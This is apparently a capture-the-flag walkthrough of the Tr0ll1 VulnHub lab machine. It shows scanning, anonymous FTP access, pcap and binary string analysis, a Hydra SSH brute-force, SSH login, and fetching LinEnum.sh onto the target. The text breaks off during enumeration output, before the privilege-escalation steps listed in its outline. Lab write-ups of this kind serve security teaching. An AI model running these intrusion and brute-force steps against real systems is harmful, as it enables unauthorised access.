-
Notifications
You must be signed in to change notification settings - Fork 9
/
Copy pathVulnHub Tr0ll1 (Beginner-Medium)
2001 lines (1645 loc) · 83 KB
/
VulnHub Tr0ll1 (Beginner-Medium)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
====================================================================================
Walkthrough of the TR0LL1 VulnHub VM CTF
====================================================================================
Step 1. Scanning & Enumeration (Nmap + Nikto + Dirb + Searchsploit)
Step 2. Gaining access
=> FTP anonymous access > manual pentest > find SSH credentials stored in hidden files on the Webserver
Step 3. Linux enumeration (LinEnum.sh + Linux-exploit-suggester.sh)
Step 4. Privilege escalation to root
+ Method 1 - Privesc using a World writeable python script owned by root and executed via cron (by root)
+ Method 2 - Overlayfs exploit (CVE-2015-1328)
+ Method 3 - DirtyC0w exploit (CVE-2016-5195)
=> It works but the the Linux server crashes..
====================================================================================
Step 1. Scanning & Enumeration (Nmap + Nikto + Dirb + Searchsploit)
====================================================================================
root@Security-Audit-01:~# netdiscover
Currently scanning: 192.168.28.0/16 | Screen View: Unique Hosts
5 Captured ARP Req/Rep packets, from 4 hosts. Total size: 300
_____________________________________________________________________________
IP At MAC Address Count Len MAC Vendor / Hostname
-----------------------------------------------------------------------------
192.168.1.23 08:00:27:f9:8d:be 1 60 PCS Systemtechnik GmbH
192.168.1.29 f4:5c:89:c9:be:c5 1 60 Apple, Inc.
192.168.1.33 28:3f:69:c8:fc:15 1 60 Sony Mobile Communications A
192.168.1.254 68:a3:78:8b:0c:dd 2 120 FREEBOX SAS
====================================================================================
root@Security-Audit-01:~# nmap -T5 -sS -sV -sC -p- 192.168.1.23
Starting Nmap 7.70 ( https://nmap.org ) at 2018-09-16 22:26 CEST
Nmap scan report for 192.168.1.23
Host is up (0.00010s latency).
Not shown: 65532 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.2
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rwxrwxrwx 1 1000 0 8068 Aug 10 2014 lol.pcap [NSE: writeable]
| ftp-syst:
| STAT:
| FTP server status:
| Connected to 192.168.1.8
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 600
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 5
| vsFTPd 3.0.2 - secure, fast, stable
|_End of status
22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 1024 d6:18:d9:ef:75:d3:1c:29:be:14:b5:2b:18:54:a9:c0 (DSA)
| 2048 ee:8c:64:87:44:39:53:8c:24:fe:9d:39:a9:ad:ea:db (RSA)
| 256 0e:66:e6:50:cf:56:3b:9c:67:8b:5f:56:ca:ae:6b:f4 (ECDSA)
|_ 256 b2:8b:e2:46:5c:ef:fd:dc:72:f7:10:7e:04:5f:25:85 (ED25519)
80/tcp open http Apache httpd 2.4.7 ((Ubuntu))
| http-robots.txt: 1 disallowed entry
|_/secret
|_http-server-header: Apache/2.4.7 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
MAC Address: 08:00:27:F9:8D:BE (Oracle VirtualBox virtual NIC)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.24 seconds
====================================================================================
root@Security-Audit-01:~# nmap -T5 -sV -script vuln -p 21,22,80 192.168.1.23
Starting Nmap 7.70 ( https://nmap.org ) at 2018-09-16 22:28 CEST
Pre-scan script results:
| broadcast-avahi-dos:
| Discovered hosts:
| 224.0.0.251
| After NULL UDP avahi packet DoS (CVE-2011-1002).
|_ Hosts are all up (not vulnerable).
Nmap scan report for 192.168.1.23
Host is up (0.00041s latency).
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.2
|_sslv2-drown:
22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.7 ((Ubuntu))
|_http-csrf: Couldn't find any CSRF vulnerabilities.
|_http-dombased-xss: Couldn't find any DOM based XSS.
| http-enum:
| /robots.txt: Robots file
|_ /secret/: Potentially interesting folder
|_http-server-header: Apache/2.4.7 (Ubuntu)
| http-slowloris-check:
| VULNERABLE:
| Slowloris DOS attack
| State: LIKELY VULNERABLE
| IDs: CVE:CVE-2007-6750
| Slowloris tries to keep many connections to the target web server open and hold
| them open as long as possible. It accomplishes this by opening connections to
| the target web server and sending a partial request. By doing so, it starves
| the http server's resources causing Denial Of Service.
|
| Disclosure date: 2009-09-17
| References:
| http://ha.ckers.org/slowloris/
|_ https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6750
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
MAC Address: 08:00:27:F9:8D:BE (Oracle VirtualBox virtual NIC)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 351.43 seconds
====================================================================================
root@Security-Audit-01:~# searchsploit vsFTPd
----------------------------------------------------------------------- ----------------------------------------
Exploit Title | Path
| (/usr/share/exploitdb/)
----------------------------------------------------------------------- ----------------------------------------
vsftpd 2.0.5 - 'CWD' (Authenticated) Remote Memory Consumption | exploits/linux/dos/5814.pl
vsftpd 2.0.5 - 'deny_file' Option Remote Denial of Service (1) | exploits/windows/dos/31818.sh
vsftpd 2.0.5 - 'deny_file' Option Remote Denial of Service (2) | exploits/windows/dos/31819.pl
vsftpd 2.3.2 - Denial of Service | exploits/linux/dos/16270.c
vsftpd 2.3.4 - Backdoor Command Execution (Metasploit) | exploits/unix/remote/17491.rb
----------------------------------------------------------------------- ----------------------------------------
Shellcodes: No Result
The version 3.0.2 of vsFTPd is not vulnerable
====================================================================================
root@Security-Audit-01:~# searchsploit OpenSSH 6.6.1p1
Exploits: No Result
Shellcodes: No Result
root@Security-Audit-01:~# searchsploit OpenSSH
----------------------------------------------------------------------- ----------------------------------------
Exploit Title | Path
| (/usr/share/exploitdb/)
----------------------------------------------------------------------- ----------------------------------------
Debian OpenSSH - (Authenticated) Remote SELinux Privilege Escalation | exploits/linux/remote/6094.txt
Dropbear / OpenSSH Server - 'MAX_UNAUTH_CLIENTS' Denial of Service | exploits/multiple/dos/1572.pl
FreeBSD OpenSSH 3.5p1 - Remote Command Execution | exploits/freebsd/remote/17462.txt
Novell Netware 6.5 - OpenSSH Remote Stack Overflow | exploits/novell/dos/14866.txt
OpenSSH 1.2 - '.scp' File Create/Overwrite | exploits/linux/remote/20253.sh
OpenSSH 2.x/3.0.1/3.0.2 - Channel Code Off-by-One | exploits/unix/remote/21314.txt
OpenSSH 2.x/3.x - Kerberos 4 TGT/AFS Token Buffer Overflow | exploits/linux/remote/21402.txt
OpenSSH 3.x - Challenge-Response Buffer Overflow (1) | exploits/unix/remote/21578.txt
OpenSSH 3.x - Challenge-Response Buffer Overflow (2) | exploits/unix/remote/21579.txt
OpenSSH 4.3 p1 - Duplicated Block Remote Denial of Service | exploits/multiple/dos/2444.sh
OpenSSH 6.8 < 6.9 - 'PTY' Local Privilege Escalation | exploits/linux/local/41173.c
OpenSSH 7.2 - Denial of Service | exploits/linux/dos/40888.py
OpenSSH 7.2p1 - (Authenticated) xauth Command Injection | exploits/multiple/remote/39569.py
OpenSSH 7.2p2 - Username Enumeration | exploits/linux/remote/40136.py
OpenSSH < 7.4 - 'UsePrivilegeSeparation Disabled' Forwarded Unix Domai | exploits/linux/local/40962.txt
OpenSSH < 7.4 - agent Protocol Arbitrary Library Loading | exploits/linux/remote/40963.txt
OpenSSH/PAM 3.6.1p1 - 'gossh.sh' Remote Users Ident | exploits/linux/remote/26.sh
OpenSSH/PAM 3.6.1p1 - Remote Users Discovery Tool | exploits/linux/remote/25.c
OpenSSHd 7.2p2 - Username Enumeration | exploits/linux/remote/40113.txt
Portable OpenSSH 3.6.1p-PAM/4.1-SuSE - Timing Attack | exploits/multiple/remote/3303.sh
glibc-2.2 / openssh-2.3.0p1 / glibc 2.1.9x - File Read | exploits/linux/local/258.sh
----------------------------------------------------------------------- ----------------------------------------
Shellcodes: No Result
=> The version 6.6.1p1 of OpenSSH is not vulnerable
====================================================================================
root@Security-Audit-01:~# dirb http://192.168.1.23
-----------------
DIRB v2.22
By The Dark Raver
-----------------
START_TIME: Sun Sep 16 22:40:26 2018
URL_BASE: http://192.168.1.23/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
-----------------
GENERATED WORDS: 4612
---- Scanning URL: http://192.168.1.23/ ----
+ http://192.168.1.23/index.html (CODE:200|SIZE:36)
+ http://192.168.1.23/robots.txt (CODE:200|SIZE:31)
==> DIRECTORY: http://192.168.1.23/secret/
+ http://192.168.1.23/server-status (CODE:403|SIZE:292)
---- Entering directory: http://192.168.1.23/secret/ ----
+ http://192.168.1.23/secret/index.html (CODE:200|SIZE:37)
-----------------
END_TIME: Sun Sep 16 22:40:31 2018
DOWNLOADED: 9224 - FOUND: 4
====================================================================================
root@Security-Audit-01:~# nikto -h http://192.168.1.23
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP: 192.168.1.23
+ Target Hostname: 192.168.1.23
+ Target Port: 80
+ Start Time: 2018-09-16 22:40:50 (GMT2)
---------------------------------------------------------------------------
+ Server: Apache/2.4.7 (Ubuntu)
+ Server leaks inodes via ETags, header found with file /, fields: 0x24 0x500438fe37ded
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Entry '/secret/' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ "robots.txt" contains 1 entry which should be manually viewed.
+ Apache/2.4.7 appears to be outdated (current is at least Apache/2.4.12). Apache 2.0.65 (final release) and 2.2.29 are also current.
+ Allowed HTTP Methods: GET, HEAD, POST, OPTIONS
+ OSVDB-3092: /secret/: This might be interesting...
+ OSVDB-3233: /icons/README: Apache default file found.
+ 7536 requests: 0 error(s) and 10 item(s) reported on remote host
+ End Time: 2018-09-16 22:41:13 (GMT2) (23 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
===================================================================================================================
Step 2. Gaining access
=> FTP anonymous access > manual pentest > find SSH credentials stored in hidden files on the Webserver
===================================================================================================================
Step 1. Testing FTP anonymous access
-------------------------------------
root@Security-Audit-01:~# ftp 192.168.1.23 21
Connected to 192.168.1.23.
220 (vsFTPd 3.0.2)
Name (192.168.1.23:root): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> dir
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
-rwxrwxrwx 1 1000 0 8068 Aug 10 2014 lol.pcap
226 Directory send OK.
ftp> cd /
250 Directory successfully changed.
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
-rwxrwxrwx 1 1000 0 8068 Aug 10 2014 lol.pcap
226 Directory send OK.
ftp> pwd
257 "/"
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
-rwxrwxrwx 1 1000 0 8068 Aug 10 2014 lol.pcap
226 Directory send OK.
ftp> get lol.pcap
local: lol.pcap remote: lol.pcap
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for lol.pcap (8068 bytes).
226 Transfer complete.
8068 bytes received in 0.00 secs (3.1038 MB/s)
ftp> binary
200 Switching to Binary mode.
ftp> put test.txt
local: test.txt remote: test.txt
200 PORT command successful. Consider using PASV.
550 Permission denied.
ftp> exit
221 Goodbye.
Step 2
-------
I found a "LOL.PCAP" file.
I did a "STRINGS" command to look for strings in the file and I found 2 potentially clues:
=> sup3rs3cr3tdirlol
=> secret_stuff.txt
root@Security-Audit-01:~# strings lol.pcap
Linux 3.12-kali1-486
Dumpcap 1.10.2 (SVN Rev 51934 from /trunk-1.10)
eth0
host 10.0.0.6
Linux 3.12-kali1-486
220 (vsFTPd 3.0.2)
"USER anonymous
331 Please specify the password.
PASS password
230 Login successful.
SYST
215 UNIX Type: L8
PORT 10,0,0,12,173,198
200 PORT command successful. Consider using PASV.
LIST
150 Here comes the directory listing.
-rw-r--r-- 1 0 0 147 Aug 10 00:38 secret_stuff.txt
226 Directory send OK.
TYPE I
W200 Switching to Binary mode.
PORT 10,0,0,12,202,172
g> @
W200 PORT command successful. Consider using PASV.
RETR secret_stuff.txt
W150 Opening BINARY mode data connection for secret_stuff.txt (147 bytes).
WWell, well, well, aren't you just a clever little devil, you almost found the sup3rs3cr3tdirlol :-P
Sucks, you were so close... gotta TRY HARDER!
W226 Transfer complete.
TYPE A
O200 Switching to ASCII mode.
{PORT 10,0,0,12,172,74
O200 PORT command successful. Consider using PASV.
{LIST
O150 Here comes the directory listing.
O-rw-r--r-- 1 0 0 147 Aug 10 00:38 secret_stuff.txt
O226 Directory send OK.
{QUIT
221 Goodbye.
Counters provided by dumpcap
Step 3
-------
=> I tried to browse the directory 'sup3rs3cr3tdirlol' and I found the file 'roflmao'
=> http://192.168.1.23/sup3rs3cr3tdirlol/
root@Security-Audit-01:~# curl -v http://192.168.1.23/sup3rs3cr3tdirlol/
* Trying 192.168.1.23...
* TCP_NODELAY set
* Connected to 192.168.1.23 (192.168.1.23) port 80 (#0)
> GET /sup3rs3cr3tdirlol/ HTTP/1.1
> Host: 192.168.1.23
> User-Agent: curl/7.60.0
> Accept: */*
< HTTP/1.1 200 OK
< Date: Sun, 16 Sep 2018 20:52:51 GMT
< Server: Apache/2.4.7 (Ubuntu)
< Vary: Accept-Encoding
< Content-Length: 957
< Content-Type: text/html;charset=UTF-8
<
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<html>
<head>
<title>Index of /sup3rs3cr3tdirlol</title>
</head>
<body>
<h1>Index of /sup3rs3cr3tdirlol</h1>
<table>
<tr><th valign="top"><img src="/icons/blank.gif" alt="[ICO]"></th><th><a href="?C=N;O=D">Name</a></th><th><a href="?C=M;O=A">Last modified</a></th><th><a href="?C=S;O=A">Size</a></th><th><a href="?C=D;O=A">Description</a></th></tr>
<tr><th colspan="5"><hr></th></tr>
<tr><td valign="top"><img src="/icons/back.gif" alt="[PARENTDIR]"></td><td><a href="/">Parent Directory</a></td><td> </td><td align="right"> - </td><td> </td></tr>
<tr><td valign="top"><img src="/icons/unknown.gif" alt="[ ]"></td><td><a href="roflmao">roflmao</a></td><td align="right">2014-08-11 18:45 </td><td align="right">7.1K</td><td> </td></tr>
<tr><th colspan="5"><hr></th></tr>
</table>
<address>Apache/2.4.7 (Ubuntu) Server at 192.168.1.23 Port 80</address>
</body></html>
* Connection #0 to host 192.168.1.23 left intact
Step 4
--------
I did a STRINGS and a FILE on the file 'roflmao'
root@Security-Audit-01:~/Desktop/CTFs/Troll1# strings roflmao
/lib/ld-linux.so.2
libc.so.6
_IO_stdin_used
printf
__libc_start_main
__gmon_start__
GLIBC_2.0
PTRh
[^_]
Find address 0x0856BF to proceed
;*2$"
GCC: (Ubuntu 4.8.2-19ubuntu1) 4.8.2
.symtab
.strtab
.shstrtab
.interp
.note.ABI-tag
.note.gnu.build-id
.gnu.hash
.dynsym
.dynstr
.gnu.version
.gnu.version_r
.rel.dyn
.rel.plt
.init
.text
.fini
.rodata
.eh_frame_hdr
.eh_frame
.init_array
.fini_array
.jcr
.dynamic
.got
.got.plt
.data
.bss
.comment
crtstuff.c
__JCR_LIST__
deregister_tm_clones
register_tm_clones
__do_global_dtors_aux
completed.6590
__do_global_dtors_aux_fini_array_entry
frame_dummy
__frame_dummy_init_array_entry
roflmao.c
__FRAME_END__
__JCR_END__
__init_array_end
_DYNAMIC
__init_array_start
_GLOBAL_OFFSET_TABLE_
__libc_csu_fini
_ITM_deregisterTMCloneTable
__x86.get_pc_thunk.bx
data_start
printf@@GLIBC_2.0
_edata
_fini
__data_start
__gmon_start__
__dso_handle
_IO_stdin_used
__libc_start_main@@GLIBC_2.0
__libc_csu_init
_end
_start
_fp_hw
__bss_start
main
_Jv_RegisterClasses
__TMC_END__
_ITM_registerTMCloneTable
_init
root@Security-Audit-01:~/Desktop/CTFs/Troll1# file roflmao
roflmao: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=5e14420eaa59e599c2f508490483d959f3d2cf4f, not stripped
Note: the file is an ".elf" executable so I renamed it and executed.
root@Security-Audit-01:~/Desktop/CTFs/Troll1# mv roflmao roflmao.elf
root@Security-Audit-01:~/Desktop/CTFs/Troll1# ./roflmao.elf
Find address 0x0856BF to proceed
Step 5
--------
I tried '0x0856BF' as a directory on the web server and found new directory and files:
=> http://192.168.1.23/0x0856BF/good_luck/which_one_lol.txt
male-us
ps-aux
felux
Eagle11
genphlux < -- Definitely not this one
usmc8892
blawrg
wytshadow
vis1t0r
overflow
=> http://192.168.1.23/0x0856BF/this_folder_contains_the_password/Pass.txt
Good_job_:)
Step 6
--------
I build a user.txt and pass.txt with all the information we got.
user.txt
________
root
maleus
ps-aux
felux
Eagle11
genphlux
usmc8892
blawrg
wytshadow
vis1t0r
overflow
0x0856BF
good_luck
Tr0ll
Tr0ll1
pass.txt
_________
Good_job_:)
Pass.txt
which_one_lol.txt
good_luck
I used Hydra to bruteforce the SSH and FTP servers with our list:
root@Security-Audit-01:~/Desktop/CTFs/Troll1# hydra -v -t 4 -I -L user.txt -p Pass.txt 192.168.1.23 ssh
Hydra v8.6 (c) 2017 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.
Hydra (http://www.thc.org/thc-hydra) starting at 2018-09-16 23:33:13
[WARNING] Restorefile (ignored ...) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 4 tasks per 1 server, overall 4 tasks, 15 login tries (l:15/p:1), ~4 tries per task
[DATA] attacking ssh://192.168.1.23:22/
[VERBOSE] Resolving addresses ... [VERBOSE] resolving done
[INFO] Testing if password authentication is supported by ssh://[email protected]:22
[INFO] Successful, password authentication is supported by ssh://192.168.1.23:22
[ERROR] could not connect to target port 22: Connection refused
[ERROR] ssh protocol error
[VERBOSE] Retrying connection for child 3
[ERROR] could not connect to target port 22: Connection refused
There is a filtering rule that blocks our SSH connections after a few attempts...
So I tried manually the different potential credentials and found a valid a couple login:password
=> overflow:Pass.txt
======================================================
root@Security-Audit-01:~/Desktop/CTFs/Troll1# ssh [email protected]
[email protected]'s password:
Welcome to Ubuntu 14.04.1 LTS (GNU/Linux 3.13.0-32-generic i686)
* Documentation: https://help.ubuntu.com/
The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
Last login: Wed Aug 13 01:14:09 2014 from 10.0.0.12
Could not chdir to home directory /home/overflow: No such file or directory
$
$ uname -a
Linux troll 3.13.0-32-generic #57-Ubuntu SMP Tue Jul 15 03:51:12 UTC 2014 i686 i686 i686 GNU/Linux
$ ls
bin dev home lib media opt root sbin sys usr vmlinuz
boot etc initrd.img lost+found mnt proc run srv tmp var
$ cd /tmp
$
Broadcast Message from root@trol
(somewhere) at 14:40 ...
TIMES UP LOL!
Connection to 192.168.1.23 closed by remote host.
Connection to 192.168.1.23 closed.
root@Security-Audit-01:~/Desktop/CTFs/Troll1# ssh o
============================================================================================================
root@Security-Audit-01:~/Desktop/CTFs/Troll1# ssh [email protected]
[email protected]'s password:
Welcome to Ubuntu 14.04.1 LTS (GNU/Linux 3.13.0-32-generic i686)
* Documentation: https://help.ubuntu.com/
<SNIP>
$ wget http://192.168.1.8:8000/LinEnum.sh
--2018-09-16 14:48:48-- http://192.168.1.8:8000/LinEnum.sh
Connecting to 192.168.1.8:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 44413 (43K) [text/x-sh]
Saving to: ‘LinEnum.sh’
100%[======================================================================>] 44,413 --.-K/s in 0s
2018-09-16 14:48:48 (632 MB/s) - ‘LinEnum.sh’ saved [44413/44413]
$ chmod +x LinEnum.sh
$ ./LinEnum.sh -t > LinEnum.txt
$ cat LinEnum.txt
#########################################################
# Local Linux Enumeration & Privilege Escalation Script #
#########################################################
# www.rebootuser.com
# version 0.91
[-] Debug Info
[+] Thorough tests = Enabled
Scan started at:
Sun Sep 16 14:49:28 PDT 2018
### SYSTEM ##############################################
[-] Kernel information:
Linux troll 3.13.0-32-generic #57-Ubuntu SMP Tue Jul 15 03:51:12 UTC 2014 i686 i686 i686 GNU/Linux
[-] Kernel information (continued):
Linux version 3.13.0-32-generic (buildd@roseapple) (gcc version 4.8.2 (Ubuntu 4.8.2-19ubuntu1) ) #57-Ubuntu SMP Tue Jul 15 03:51:12 UTC 2014
[-] Specific release information:
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=14.04
DISTRIB_CODENAME=trusty
DISTRIB_DESCRIPTION="Ubuntu 14.04.1 LTS"
NAME="Ubuntu"
VERSION="14.04.1 LTS, Trusty Tahr"
ID=ubuntu
ID_LIKE=debian
PRETTY_NAME="Ubuntu 14.04.1 LTS"
VERSION_ID="14.04"
HOME_URL="http://www.ubuntu.com/"
SUPPORT_URL="http://help.ubuntu.com/"
BUG_REPORT_URL="http://bugs.launchpad.net/ubuntu/"
[-] Hostname:
troll
### USER/GROUP ##########################################
[-] Current user/group info:
uid=1002(overflow) gid=1002(overflow) groups=1002(overflow)
[-] Users that have previously logged onto the system:
Username Port From Latest
troll pts/0 10.0.0.12 Wed Aug 13 01:22:38 -0700 2014
overflow pts/0 192.168.1.8 Sun Sep 16 14:47:11 -0700 2018
ps-aux pts/2 10.0.0.12 Sat Aug 9 23:28:19 -0700 2014
maleus pts/2 10.0.0.12 Sat Aug 9 23:27:04 -0700 2014
felux pts/2 10.0.0.12 Sat Aug 9 23:28:32 -0700 2014
Eagle11 pts/2 10.0.0.12 Sat Aug 9 23:31:15 -0700 2014
genphlux pts/2 10.0.0.12 Sat Aug 9 23:29:11 -0700 2014
usmc8892 pts/2 10.0.0.12 Sat Aug 9 23:29:29 -0700 2014
blawrg pts/2 10.0.0.12 Sat Aug 9 23:29:46 -0700 2014
wytshadow pts/2 10.0.0.12 Sat Aug 9 23:30:05 -0700 2014
vis1t0r pts/2 10.0.0.12 Sat Aug 9 23:30:20 -0700 2014
[-] Who else is logged on:
14:49:28 up 16 min, 1 user, load average: 0.00, 0.00, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
overflow pts/0 192.168.1.8 14:47 8.00s 0.00s 0.00s /bin/bash ./LinEnum.sh -t
[-] Group memberships:
uid=0(root) gid=0(root) groups=0(root)
uid=1(daemon) gid=1(daemon) groups=1(daemon)
uid=2(bin) gid=2(bin) groups=2(bin)
uid=3(sys) gid=3(sys) groups=3(sys)
uid=4(sync) gid=65534(nogroup) groups=65534(nogroup)
uid=5(games) gid=60(games) groups=60(games)
uid=6(man) gid=12(man) groups=12(man)
uid=7(lp) gid=7(lp) groups=7(lp)
uid=8(mail) gid=8(mail) groups=8(mail)
uid=9(news) gid=9(news) groups=9(news)
uid=10(uucp) gid=10(uucp) groups=10(uucp)
uid=13(proxy) gid=13(proxy) groups=13(proxy)
uid=33(www-data) gid=33(www-data) groups=33(www-data)
uid=34(backup) gid=34(backup) groups=34(backup)
uid=38(list) gid=38(list) groups=38(list)
uid=39(irc) gid=39(irc) groups=39(irc)
uid=41(gnats) gid=41(gnats) groups=41(gnats)
uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
uid=100(libuuid) gid=101(libuuid) groups=101(libuuid)
uid=101(syslog) gid=104(syslog) groups=104(syslog),4(adm)
uid=102(messagebus) gid=105(messagebus) groups=105(messagebus)
uid=1000(troll) gid=1000(troll) groups=1000(troll),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),109(lpadmin),110(sambashare)
uid=103(sshd) gid=65534(nogroup) groups=65534(nogroup)
uid=104(ftp) gid=112(ftp) groups=112(ftp)
uid=1001(lololol) gid=1001(lololol) groups=1001(lololol)
uid=1002(overflow) gid=1002(overflow) groups=1002(overflow)
uid=1003(ps-aux) gid=1003(ps-aux) groups=1003(ps-aux)
uid=1004(maleus) gid=1004(maleus) groups=1004(maleus)
uid=1005(felux) gid=1005(felux) groups=1005(felux)
uid=1006(Eagle11) gid=1006(Eagle11) groups=1006(Eagle11)
uid=1007(genphlux) gid=1007(genphlux) groups=1007(genphlux)
uid=1008(usmc8892) gid=1008(usmc8892) groups=1008(usmc8892)
uid=1009(blawrg) gid=1009(blawrg) groups=1009(blawrg)
uid=1010(wytshadow) gid=1010(wytshadow) groups=1010(wytshadow)
uid=1011(vis1t0r) gid=1011(vis1t0r) groups=1011(vis1t0r)
[-] It looks like we have some admin users:
uid=101(syslog) gid=104(syslog) groups=104(syslog),4(adm)
uid=1000(troll) gid=1000(troll) groups=1000(troll),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),109(lpadmin),110(sambashare)
[-] Contents of /etc/passwd:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
